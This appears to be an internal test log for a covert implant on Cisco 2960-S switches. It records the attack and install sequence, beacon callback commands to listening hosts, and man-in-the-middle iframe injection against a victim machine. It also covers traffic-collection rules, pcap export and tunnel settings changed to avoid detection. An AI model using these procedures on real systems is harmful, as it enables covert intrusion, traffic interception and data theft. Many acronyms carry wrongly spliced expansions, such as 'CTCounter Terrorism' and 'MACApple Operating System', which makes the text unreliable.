Owner: User #71467

Aquaman-5h-Without-Snooping Test Notes

Xetron redelivered Aquaman-5h without snooping as an interim solution to EAREnterprise Archive 5244.  Plan is to run through all tests from previous Aquaman-5h testing, as well as verify that the bug from EAREnterprise Archive 5244 is not reproducible.

Testing Summary

• 2960S crashes and reloads if show stacks issued during a reinstall of hg (after initial install with leave_behind and uninstall)
• Identified 2 things in show tech that need to be checked
  • hg uninstall causes output in show platform tcam util asic all values to change
  • remote command all show vtp status - noticed difference in showtech, haven't been able to get consistent results, not sure this is an issue yet
• Confirmed snoop not enabled and EAREnterprise Archive 5244 no longer observed

Progress / Notes

1. Run through HG Base Smoke Tests
2. Install/Uninstall without leave-behind
   1. Establish baseline values for clean target device - skipped because we already have that data from previous testing
   2. IAC attack - successful, received codes were 125, 60, 159 which are in the readme
      
      1. Edited target-aliases to use target address 172.31.255.14
      2. Edited target-aliases to use correct proc_id
   3. HG upload - hg_start, left 1s delay between packets
   4. HG uploaded successfully - result good
   5. Establish CTCounter Terrorism Session with HG according to readme
      1. Edit Aquaman-5h.txt hostfile - set listening interface of flux node to eth0 and IP to trigger to 192.168.21.10 (Seeds host)
      2. Ran ./prep-ct.sh
      3. Started CutThroat ./cutthroat ilm_hg.so - listening on 443 and trigger windows
      4. Trigger implant - beacon call_base_back https  172.20.12.22 443 -ii 192.168.21.10 -im 0050.5688.256d -iv 1 -mi 0011.bb89.21c4
         1. 0011.bb89.21c4 is MACApple Operating System address of 192.168.21.1
      5. Successful HG comms
   6. Uninstall according to readme
      1. device uninstall_hg -mp -f - Successful
      2. Memory back down, no syslog messages, no crash
3. Install/Uninstall with leave-behind
   1. Reloaded switch to start with a clean switch
   2. SSHIAC attack - successful, received codes were in readme
   3. HG upload - hg_start_leave_behiind  - delay of 1s delay between packets - Successful
   4. Collected a show tech
   5. Establish CTCounter Terrorism Session with HG according to readme
      1. Started CutThroat ./cutthroat ilm_hg.so - listening on 443 and trigger windows
      2. Trigger implant - beacon call_base_back https  172.20.12.22 443 -ii 192.168.21.10 -im 0050.5688.256d -iv 1 -mi 0011.bb89.21c4
         1. 0011.bb89.21c4 is MACApple Operating System address of 192.168.21.1
      3. Successful HG comms
   6. Uninstall according to readme - successful, no anamolies seen
   7. Did broad on remote - ok
   8. hg_start to reinstall
      1. While hg was reinstalling, i typed show stacks on switch - 1s later the switch crashed with the following error:

         Instruction Access Exception (0x0400)!

      2. Not sure if this was related to entering show stacks whlie hg reinstall taking place or if that was a coincidence

   9. Attempt to reproduce the crash
      1. SSHIAC attack
      2. Changed interpacket time to 0.1s
      3. hg_start_leave_behind - successful
      4. Establish CTCounter Terrorism Session
      5. Uninstall according to readme - successful, no anamolies seen
      6. hg_start to reinstall
         1. No show commands entered - successful reinstall
      7. Establish CTCounter Terrorism Session
      8. Uninstall hg - successful
      9. SSHIAC attack
      10. hg_start_leave_behind to reintsall
          1. this time, enter show stacks during install
          2. no crashes - output of show stacks does show the artifacts, this is a known issue
      11. Could not establish comms - reloading switch and going to try to repeat again
      12. Reloaded switch
      13. SSHIAC attack
      14. hg_start_leave_behind
      15. Establish CTCounter Terrorism session
      16. device hg_uninstall -mp -f
      17. hg_start_leave_behind - i entered show stacks during install and it crashed again
4. Command and Control
   1. Establish CTCounter Terrorism session and verify versions/capabilities
      1. Reload switch to start with clean target
      2. SSHIAC attack
      3. hg_start
      4. Established CTCounter Terrorism session
      5. ilm show - ilm version 3.8.0
      6. device get_uid - 1ce85d68a280
      7. beacon show - beacon not enabled for this op
      8. capability show -v 
         1. baseline version 3.3.0
         2. lists all modules
   2. Basic command and control
      1. module show - modules running
      2. module stop Trigger - success
      3. module start Trigger.mod - success
      4. ilm refresh - success
      5. module show - success - Trigger module running
   3. Hit tab key to verify output of available commands
      1. mitm present, collect present
      2. dns show, web show, https show - startup delay set to 32850k days - no snoop
      3. dns get_snooped_host_list_client 0 100 - no snooped hosts even though seeds running
   4. Boundary Test
      1. Run through list in HG Base Smoke Test Procedure - all failed gracefully, did not attempt to start snoop
5. CI Profile
   1. Collect output for comparison - collected output in new files, will compare to previous test output
      1. 29.66712 MB more Used memory with HG installed
      2. Observed same spikes in CPU during SSHIAC attack, HG upload and SSLSecure Socket Layer handshake as observed in previous testing
      3. No change to file system
      4. Show tech - observed known show stacks and show controllers artifacts
      5. Show tech after hg uninstall - output of show tech platform tcam util asic all has a higher number for one value - IPv4 security aces went from 36 to 284 for ASIC 0 and ASIC 1 
      6. Show tech with hg - no output for remote command all show vtp status, whereas there is output for without hg and after hg uninstall.  need to test this further.
   2. Added to Rancid and ran once with HG, then uninstalled hg, reloaded switch, and ran rancid again to compare
   3. RANCID rev 1.3 with HG, rev 1.5 without - no differences
6. SMITE Smoke Test - following documented HG 3.3.0 SMITE Capability Smoke Test Procedure
   1. Start with a clean, reloaded 2960-S
   2. SSHIAC attack and HG install
   3. Established CTCounter Terrorism session
   4. Completed module control test - stop, start - did not complete module delete and reload test
   5. Did not test module persistence
   6. Created SMITE rule
   7. Iframe is injected into web page, viewed in source URL
   8. Able to attach in Windex and view secrets.txt
   9. Deleted mitm rule - iframe no longer injected
7. Samsonite Test Case - Uninstall HG and re-attack
   
   1. Reloaded 2960-S to start with a clean target device
   2. Attacked with SSHIAC, installed HG and established comms
   3. Attempted uninstall hg command device uninstall_hg -mp -f - then typed yes to confirm, result success.
   4. Checked used memory on the target 2960-S and the memory has gone back to down normal level without HG installed (may be slight difference, need to do the math), no syslog messages, no CPU spike
   5. Re-attacked using SSHIAC, installed HG, established HG comms - no anomalies
   6. Uninstalled HG again using device uninstall_hg -mp -f - no anomalies
      1. No syslogs
      2. Used memory back to normal
8. Samsonite Test Case - Dropped connection during HG install
   1. Reloaded 2960-S to start with a clean target device
   2. Attacked with SSHIAC
   3. Entered hg_start and after just a few chunks were sent, shut int g1/0/11 via console connection on 2960-S to simulate network outage
   4. ICON-CT reported HG install failed
   5. No syslog messages from switch
   6. Used memory still shows higher than it should, but not as high as if HG were installed - 27657488 (b)
   7. Issued no shut on 2960-S interface g1/0/11 to re-enable the connection
   8. Entered hg_start on ICON-CT and HG successfully uploaded - used memory after successful install - 30524888 (b)
9. Re-test EAREnterprise Archive 5244
   1. With HG installed, but no CTCounter Terrorism session, enter service network restart on Seeds host 10x
   2. Did not see err-disable condition
   3. Established CTCounter Terrorism session and enter service network restart on Seeds host 10x
   4. Did not see err-disable condition
10. Samsonite Test Case - Attempt to install HG when HG already installed
    1. Cannot initiate hg_start again via remote - reports comms failure
    2. Attempted to re-attack with SSHIAC - seemed to go through normal SSHIAC install process, however at the end of the install, could not establish comms with remote
       1. Broad didn't work
       2. hg_start fails
    3. CT session with HG active throughout
11. Samsonite Test Case - Enable MITMMan-In-The-Middle attack rule and execute system administrator commands
    1. Enabled the SMITE MITMMan-In-The-Middle attack rule in HG
    2. Performed the following with no anomalies observed
       1. Cleared log buffer
       2. Disable/re-enable logging
       3. Multiple show commands - show vlan, mac-address table, memory, proc cpu, proc cpu hist, log,run
       4. Write mem
       5. Add/delete a user
       6. Add/delete a VLAN
    3. Verified that SMITE works by web browsing from Victim VMVirtual Machine - collected output from Wireshark running on Victim VMVirtual Machine which shows Iframe
12. Samsonite Test Case - Issue Cisco "test crash" command to test crash and generate a crashinfo
    1. With HG installed, issued test crash and selected reason as software forced crash
       1. Saved output of crashinfo file
       2. Saved log messages seen upon reboot of switch in log buffer
       3. Memory used had returned to normal levels for no HG
    2. Without HG installed, repeated test crash - need to compare crashinfo
       1. Issued "test crash" command with software forced crash as reason
       2. Saved output of crashinfo file
       3. Saved syslog messages seen up reboot of switch in log buffer - no additional error messages in files
13.  Samsonite Test Case - Perform core dump of 2960-S
    1. Performed a write core and saved to TFTPFile transfer software server - both before and after HG install with comess
    2. Also collected a write core from after hg uninstall
    3. File sizes are exactly the same for the two core dumps
14. Going home - reloaded 2960-S switch right before i left, so it does not have HG.  Tomorrow, need to pick up with Test 32 from original Aquaman Test Notes page - testing smite through dualor tunnel.  HG is still installed on 2960#1, and I made a CTCounter Terrorism session with that one in the bottom left-hand workspace on ICON-CT.  Do not reload that 2960 or remove HG or else we will have to go through the process of modifying the tunnel.ini so that it won't drop tunnel when it detects tap ip active on network.  
15. OR, could go back complete Test number 25 - Performance tests, which I had skipped.
    
16. (Test 32 from original test) Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960
    1. Updated 2960#1 to 12.2(50)SE5 and implanted with Aquaman-3h delivery of HG --> Confirmed switch is running 12.2(50)SE5
    2. Established comms with Aquaman-3h from ICON-CT on port 443 --> Re-established comms with 2960#1
       1. On Listen window: ilm listen aquaman-3h.txt
       2. On Trigger window: ilm trigger aquamen-3h.txt
          1. beacon call_me_back https 443 -ii 192.168.44.39
       3. Successfull SSLSecure Socket Layer handshake
    3. Disabled setting in Aquaman-3h HG tunnel which will disable the tunnel if the tap IP becomes active
       1. Edit hg/config/tunnel.ini and change DetectTAPSrcTraffic=Yes to No
       2. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = Yes
       3. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg tunnel.ini and note in the output that DetectTAPSrcTraffic has been changed to No
       4. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = No
       5. From Aquaman-3h CutThroat, type file put cfs/000000004B8FAF63.cfg default:000000004B8FAF63.cfg in order to load the new setting up to HG
       6. From Aquaman-3h CutThroat, type module restart default:CovertTunnel.mod to restart the module
          1. This did not work initially and Xetron is aware of this problem.  To fix, try restarting again, and run ilm refresh.
    4. Establish Dualor tunnel with tap IP 192.168.0.110
       1. From /hg/tools/dualor/linux, run ./Dualor ../config/dualor-endpoint.ini and note that you get a message that CTCounter Terrorism is listening on port 444
       2. From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSLSecure Socket Layer session establishes
       3. Note that on ICON-CT VMVirtual Machine you know have a new interface called tap0 with an iP 192.168.0.110
    5. Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0
    6. Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445
    7. Establish HG comms using "beacon call_base_back https 192.168.0.110 445 -ii 192.168.21.10 -im 0050.5688.256d -iv 1 -mi 0011.bb89.21c4"
    8. Comms successfully established through Aquaman-3h tunnel
    9. Configured mitm rule for SMITE as in tests above and successfully exploited Victim VMVirtual Machine and read secrets.txt from Windex
    10. Viewed web page source code which showed the iframe with promo code.
    11. Deleted MITMMan-In-The-Middle attack rule. Issued "mitm show" to confirm rule is deleted
    12. Moved to Aquaman-3h screens. In Listen window, issued "tun show" to get tunnel ID. Then issued "tun close 7" with success. "tun show" command confirms no active tunnels. Issued "ifconfig" in a terminal to confirm "tap 0" interface is gone.
    13. Edited ..aquaman-5h/hg/aquaman-5h.txt file to change interface back to "eth0" and port back to "443"
17. Samsonite Test Case - Create MITMMan-In-The-Middle attack rule for SMITE multiple times
    1. Establish CTCounter Terrorism Session
    2. Created the MITMMan-In-The-Middle attack rule twice in a row - command successful both times and two identical rules present in mitm show output
    3. Created a third identical MITMMan-In-The-Middle attack rule - now there are three identical MITMMan-In-The-Middle attack rules - mitm show
    4. Iframe injection on Victim VMVirtual Machine successful - only 1 Iframe injected
    5. mitm status shows 1 session affected
    6. Deleted the two additional rules and added a rule with same filter settings except different iframe string - only one iframe injected and it is for lowest numbered rule
    7. Deleted the lowest numbered rule so now only 1 rule applied - iframe is injected that matches remaining rule
    8. Noticed that in our test setup HTMLHypertext Markup Language we have two body tags, and we actually get two iframes injected - one after each body tag, which results in two shellterm connection ids in Windex
    9. When multiple MITMMan-In-The-Middle attack rules are present for the same traffic, lowest numbered rule is the action performed
18. Samsonite Test Case - Reload FilterBroker.mod while mitm rule enabled
    1. Created a mitm rule and verified functionality by viewing source on the Victim VM
    2. On CutThroat session, entered module restart default:FilterBroker.mod
    3. Issued module show and saw two copies running - one status ModuleStopped, one status ModuleRunning
    4. Issued ilm refresh to attempt to clear the old copy of FilterBroker - however two copies still present in module show
    5. Ran mitm show and found no rules - restarting the module had deleted our rule
    6. Re-added a mitm rule and verified functionality by checking for the Iframe on Victim VM
    7. Checked module show and found that now, only one copy - status ModuleRunning - is present
19. Smoke Test - Collect Capability
    1. Establish CTCounter Terrorism Session with HG
    2. Collect create 192.168.21.10 255.255.255.0 0 65535 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 0 65535 tcp -en
    3. This rule captures Seed traffic
    4. In Listen window, observed "collect success received collected data" messages with job numbers
    5. Collect status showed active sessions and captured sessions
    6. Typed collect disable 8 to disable the collection rule
    7. Collect status showed 0 bytes buffered
    8. Viewed collected data in /Logs by converting to PCAPPacket capture format with ExfilParsh.sh - saw our seeds data
20. Samsonite Test - Reload 2960-S during HG install
    1. Reloaded target 2960-S to start with a clean target device
    2. Attacked with SSHIAC
    3. Initiated HG install and reloaded the switch 18% complete
    4. Did not see any unusual syslog messages, switch boots normally
    5. Remote reports "FAILED retry (yes/up/down/fail)?  Selected fail and remote gives ERROR CODE 1.
    6. Re-attack with IACInternational Access Code - successful and looks normal
    7. Initiated HG install and allow installation to complete - Installation successful
    8. Established HG comms successfully
    9. device uninstall_hg -mp -f
21. Smoke Test - socket get_arp_survey_data
    1. Reload switch to start with a clean Target Device
    2. SSHIAC attack and install HG
    3. Establish CTCounter Terrorism session
       
    4. type socket get_arp_survey_data - results show 2 entries from our network (192.168.21.10 and 192.168.21.1), and show vlan 1
    5. Tried to get more entries to show up by sending pings to and  from the Victim VMVirtual Machine (192.168.21.11) however no new ARPAddress Resolution Protocol entries
    6. socket get_arp_responder_status shows ARPAddress Resolution Protocol responder enabled Yes
    7. socket clear_arp_survey_data
    8. Checked socket get_arp_survey_data again and only 1 entry now, eventually both re-appeared
       
22. IXIA Testing
    1. With HG still loaded on 2960-S from last Friday, ran pre-defined test with a a mix of traffic at 75mbps rate.
       1. (Test 1) Results = 715,397 attempted / 658,078 successful / 0 failed under "Application Transaction Rate". 2960-S CPU topped out at 11%
       2. (Test 2) Results = 715,867 attempted / 658,041 successful / 0 failed under "Application Transactions". 2960-S CPU topped out at 10%
    2. Reload 2960-S so that HG is NOT installed
       1. (Test 1) Results = 715,423 attempted / 658,228 succesful / 0 failed under "Application Transactions". 2960-S CPU topped out at 11%
       2. (Test 2) Results = 715,457 attempted / 658,159 successful / 0 failed under "Application Transactions". 2960-S CPU topped out at 10%
23. Show stacks crash investigation
    1. Reload switch
    2. SSHIAC attack
    3. hg_start_leave_behind
    4. Establish CTCounter Terrorism Session
    5. device uninstall_hg -mp -f
    6. During steps a-e, ran show stacks all along the way.  Target Device crashed when show stacks issued during step e (hg uninstall)
24. show stacks crash investigation
    1. reload switch
    2. SSHIAC attac
    3. hg_start_leave_behind
    4. Establish CTCounter Terrorism session
    5. device uninstall_hg -mp -f
    6. After step e was complete, hg_uninstall was completely finished, issued show stacks and the switch crashed
25. show stacks crash investigation - no leave behind option
    1. reload switch
    2. sshiac attack
    3. hg_start
    4. Establish CTCounter Terrorism session
    5. device uninstall_hg -mp -f
    6. During steps a-e, ran show stacks all along the way.  No crashes observed.
26. show stacks crash investigation
    1. reload switch
    2. sshiac attack
    3. hg_start_leave_behind
    4. establish CTCounter Terrorism session
    5. performed show stacks during all steps, a - d, no crash
    6. device uninstall_hg -mp -f (did not issue show stacks during this process in order not to crash the target device)
    7. hg_start_leave_behind (did not issue show stacks during this process in order not to crash the target device)
    8. after hg install complete, checked memory, hg definitely there.  did a show stacks and it caused a crash.

Previous versions:

| 1 empty | 2 [Xetron] | 3 [Xetron] | 4 [Xetron] | 5 [Xetron] | 6 [Xetron] | 7 [Xetron] | 8 [Xetron] | 9 [Xetron] | 10 [Xetron] | 11 [Xetron] | 12 [Xetron] | 13 [Xetron] | 14 [Xetron] | 15 [Xetron] | 16 [Xetron] | 17 [Xetron] | 18 [Xetron] | 19 [Xetron] | 20 [Xetron] | 21 [Xetron] | 22 [Xetron] | 23 [Xetron] | 24 [Xetron] | 25 [Xetron] | 26 [Xetron] | 27 [Xetron] | 28 [Xetron] | 29 [Xetron] | 30 [Xetron] | 31 [Xetron] | 32 [Xetron] | 33 [Xetron] | 34 [Xetron] | 35 [Xetron] | 36 [Xetron] | 37 [Xetron] | 38 [Xetron] | 39 [Xetron] | 40 [Xetron] | 41 [Xetron] | 42 [Xetron] |